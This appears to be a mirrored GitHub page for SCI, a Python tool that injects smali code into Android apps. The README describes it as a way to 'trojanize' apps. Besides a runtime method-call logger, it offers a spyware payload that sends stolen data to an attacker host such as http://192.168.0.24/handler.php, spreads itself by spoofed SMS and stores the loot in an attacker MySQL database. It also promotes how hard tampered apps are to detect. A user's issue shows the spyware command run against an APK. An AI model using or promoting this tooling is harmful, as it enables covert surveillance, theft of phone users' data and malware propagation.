Git Product home page Git Product logo

sci's Introduction

Smali Code Injector (SCI)

Language Language Language Language License

Automate assembly code (smali) injection within Android applications.

The initial ambition of this project was to automate stack trace injections within Android applications in order to facilitate my master thesis work. Being able to log and display applications' runtime method calls along with their returned value greatly helps in reverse engineering complex applications by providing an insight into their logic and workflow.

Then, new features and payloads were progressively added in an attempt to create a framework fully capable of injecting any type of assembly code. Users familiar with Android development can easily implement compatible payloads. SCI is in charge of automating low level operation such as registers allocation, dependancie, type, etc.

Tampering Android applications has never been that easy!

Further information about Android reverse engineering can be found at:

Automation for a simpler world...

Code injections are performed at the assembly level (smali files) making the differenciation process between legit and modified applications complicated and time consuming - it would require considerable forensic work such as network, permissions, signature and code analysis -.

A high level overview of the steps involved during code injection is:

  1. Disassembling the application.
  2. Collecting relevant information about the application.
    • Classes name.
    • Methods name.
    • Registers number and type.
    • etc.
  3. Editing the AndroidManifest.xml to add permissions, services and broadcastReceivers (depending on the payload requirements).
  4. Injecting and tweaking up the selected payload within the targeted method(s). Some Android libraries are also injected in order to defeat obfuscation.
  5. Reassembling and signing the app with a valid self-signed certificate.

Usage

  • To list the available options:

    python3 sci.py -h
    
    -a APP, --app APP  	Android application to trojanize
    
    positional arguments:
        search          search command - identifies the main activity
        payload         payload command
  • To list search options:

    python3 sci.py -a APP search -h
    
    -a APP, --app APP   Android application to trojanize
  • To list payload options:

    python3 sci.py -a APP payload -h
    
    -a APP, --app APP   Android application to trojanize
    -d DESTINATION, --dest DESTINATION
                        the destination file or directoy for injection
    -k KEYWORDS, --keywords KEYWORDS
                        keywords (separated by ',') for injection filtering
    
    positional arguments:
        logger          logger command
        spyware         spyware command
    • To list logger options:

      python3 sci.py -a APP [-d DESTINATION] [-k KEYWORDS] logger -h
      
      -a APP, --app APP   Android application to trojanize
      -d DESTINATION, --dest DESTINATION
                          the destination file or directoy for injection
      -k KEYWORDS, --keywords KEYWORDS
                          keywords (separated by ',') for injection filtering

      Launch the Android debugger adb using the following command to view application's runtime method calls:

      adb logcat | grep "::trace"
    • To list spyware options:

      python3 sci.py -a APP payload [-d DESTINATION] [-k KEYWORDS] spyware -h
      
      -a APP, --app APP   Android application to trojanize
      -d DESTINATION, --dest DESTINATION
                          the destination file or directoy for injection
      -k KEYWORDS, --keywords KEYWORDS
                          keywords (separated by ',') for injection filtering
      -ppg PROPAGATE, --propagate PROPAGATE
                          spoofed SMS to send for the malware propagation
      -rh RHOST, --rhost RHOST
                          attacker's host/ip for stolen data transmission, e.g.
                          http://192.168.0.24/handler.php

      [!IMPORTANT] For optimal results, inject Spyware on the onCreate() method of the application main activity.

      Server-side scripts used to insert and store the stolen data sent into an attacker-controlled MySQL database are available under scripts.

      To enable spyware debugging mode set DEV_MODE to true in payloads\smali\spyware at line 7. Then launch the Android debugger adb using the following command:

      adb logcat | grep "::trace"

Roadmap

  • Implement new payloads (e.g. reverse shell).
  • Source code optimisation.

Project Information

This framework was developed in the context of my master thesis work in July 2015 and rewritten in 2017.

Sponsor ๐Ÿ’–

If you want to support this project and appreciate the time invested in developping, maintening and extending it; consider donating toward my next cup of coffee. โ˜•

It is easy, all you got to do is press the Sponsor button at the top of this page or alternatively click this link. ๐Ÿ’ธ

Reporting Issues

Found a bug? I would love to squash it! ๐Ÿ›

Please report all issues on the GitHub issues tracker.

Contributing

You would like to contribute to better this project? ๐Ÿคฉ

Please submit all PRs on the GitHub pull requests tracker.

License

See LICENSE.

sci's People

Contributors

aress31 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

sci's Issues

error

i used this command
python3 sci.py -a /root/Desktop/flappy.apk payload spyware -ppg propagate -rh 192.168.8.123
and it give the following error
FileNotFoundError: [Errno 2] No such file or directory: '../tmp/classes.dex'

can you help me please

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.